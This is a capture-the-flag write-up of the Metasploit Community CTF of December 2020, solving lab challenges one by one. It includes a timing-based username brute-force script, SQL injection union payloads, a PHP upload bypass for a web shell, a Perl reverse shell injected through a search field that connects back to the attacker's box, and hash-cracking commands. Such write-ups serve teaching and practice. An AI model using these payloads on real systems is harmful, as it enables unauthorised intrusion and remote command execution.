Metasploit Community CTF December 2020 WriteUp
Table of Contents
Summary⌗
Over the weekend I participated in Metasploit Community December CTF by Rapid7 with team fr334aks . We ended up getting position 57/413. The CTF was meant to be beginner-friendly.
Intro⌗
Teams are provided with their own instance of a kali box which is public facing to act as a jump host to reach an ubuntu VM which hosts the challenges.
On the ubuntu VM there are 20 open ports for each challenge. To complete a challenge you need to find a challenge flag and submit the MD5 checksum of the PNG to get points.
I decided to tunnel all connections to the victim through ssh with sshuttle using the below command:
sshuttle -r kali@52.90.96.4 -e "ssh -i metasploit_ctf_kali_ssh_key.pem" 172.15.18.101/32
Challenges:⌗
4 of Hearts⌗
After tunneling the connections to the Ubuntu VM the first flag is on port 80, http://172.15.18.101/4_of_hearts.png
.
Flag:
6 of Hearts⌗
There is a photos website running on port 6868. There is a functionality to sign up that creates directories based on a user’s initials of their names.
On signing up we first get the notes directory.
On the home page, there are images which are hosted under files directory with different users initials.
Since there’s no authentication we can try look at notes for each of the discovered users.
BD:
TW:
MC:
From the above notes we can tell that there’s a site admin whose name is Beth Ulysses Denise Donnoly Yager, this creates the initials BUDDY.
We can then get the flag with these initials at the url http://172.15.18.101:6868/files/BUDDY/2
.
Flag:
3 of Spades⌗
To solve this one we are required to identify a valid username aside from guest. When you submit guest which is a valid username, the request takes about 5 seconds to complete but if you supply a non-valid username it takes less than a second. The password doesn’t matter.
I created a python script to bruteforce the username with a wordlist:
import requests
url = "http://172.15.18.101:8080/login.php"
user = "guest"
f = open('/usr/share/seclists/Usernames/cirt-default-usernames.txt','r')
users = f.readlines()
f.close()
def guess(username):
print("Testing username: " + username +"...")
data = {"username":username,"password":"test"}
r = requests.post(url, data=data)
response_time = r.elapsed.total_seconds()
if response_time > 4:
print("Valid user found: " + username)
exit()
for i in users:
guess(i.strip())
It found the user to be demo:
When we submit it we get the url to the flag,
http://172.15.18.101:8080/a3lk3d939d993201ld.png
Flag:
2 of Spades⌗
There’s a website with the ability to search for reviews on port 9001.
First thing to check with search functionality is SQLi, after adding a quote '
we get a sqlite3 error confirming presence of sqli:
Using this payload we can get the structure of the db:
overwatch' union select 1,sql,3 FROM sqlite_master;-- -
Then we can extract the link to the flag with this payload:
overwatch' union select 1,flag,link FROM hidden-- -
Flag:
8 of Hearts⌗
On port 4545, We are provided with 2 files:
When you run the elf binary it asks for buffalo and if you give one it asks for more.
All we needed to do was guess how many buffaloes it needed, the exact value was between 100 and 200.
Flag:
8 of Spades⌗
On port 1080 a socks5 proxy is running on this port without any authentication. We can edit /etc/proxychains.conf
and add this server as a socks5
proxy server.
socks5 172.15.18.101 1080
Next we need to discover open ports that we can access through the proxy. Port scanning over a proxy can be really slow, therefore, lets check the top 100 ports first.
proxychains nmap -sT --top-ports=100 127.0.0.1
Nmap discovers port 22 and 8000 open.
Port 8000 is a web server hosting our flag:
proxychains curl 127.0.0.1:8000
Flag:
Red Joker⌗
On port 9007, we get a zip file.
Only thing needed is to extract it:
7z x red_joker.zip
Flag:
6 of Diamonds⌗
On port 8200, there’s a website that we can upload images.
It only allows jpeg and png files by checking mime type and file extension. We can bypass this restriction with a few tricks.
We can create a php file with a valid jpeg mime type with this command:
echo -n -e '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01' > shell.php
Then we can intercept the request in burp suite and change the extension and add our php exploit code.
We can successfully execute commands and get the location of the flag.
Flag was found at http://172.15.18.101:8200/157a7640-0fa4-11eb-adc1-0242ac120002/6_of_diamonds.png
.
Queen of Spades⌗
On port 8202, we have another website with barely any functionality to interact with.
But when we look at burp where we are proxying http traffic, there is some communication to an api which looks very much like graphql.
A common misconfiguration to check is if introspection is enabled on the endpoint.
When we supply an introspection payload (you can use the ones from payloadallthethings repo ) it works and we get the schema.
To understand the result, we can easily visualize this at https://apis.guru/graphql-voyager/
With this structure we can easily make our queries.
The below query gives the location of the flag.
Flag:
2 of Hearts⌗
On port 9000, there’s another website similar to the one port 9001 but this one has a different way in which it handles searches. When we search using just a single character a, the first result is interesting as it looks like a folder in a terminal.
This could mean our input is being used to construct a shell command. We can try getting a reverse shell using this reverse shell payload:
$(perl -e 'use Socket;$i="172.15.18.100";$p=9000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};')
We successfully get a reverse shell.
The vulnerable code is using the find command:
Flag:
Black Joker⌗
The web app here has two visible functionalities:
When we try to sign up, we get the response that no new members can signup. When trying to look at the request in burp suite, there was none. Therefore it must be a frontend response.
sign-up.js:
Looking at the forgotten your password functionality, we can supply an email. The home page contains this email: admin@example.com .
This gets us a hint but it’s not enough information. When we look at the full request in burp, there was actually more information sent back that wasn’t displayed.
From the js file we gather that the site accepts passwords between 9 and 14 chars long, which are should have only a-z and 0-9 characters. Having a hash and the beginning of the password we can generate a wordlist and crack the hash.
crunch 0 5 0123456789abcdefghijklmnopqrstuvwxyz > temp
sed -e 's/^/ihatesalt/' temp > wordlist.txt
hashcat -m 0 '7f35f82c933186704020768fd08c2f69' wordlist.txt
Recovered Password: ihatesaltalot7
Supplying the email and password to /admin, we get the flag.
Flag:
4 of Clubs⌗
Port 8092:
For this challenge, we were able to bypass the hash check by supplying the password as an empty array.
Flag:
Conclusion⌗
This was a very nice ctf to brush up on some basic concepts. As we didn’t solve all challenges, that means we still have some things to learn.
Follow our team twitter account: fr334aks
Twitter: ikuamike
Github: ikuamike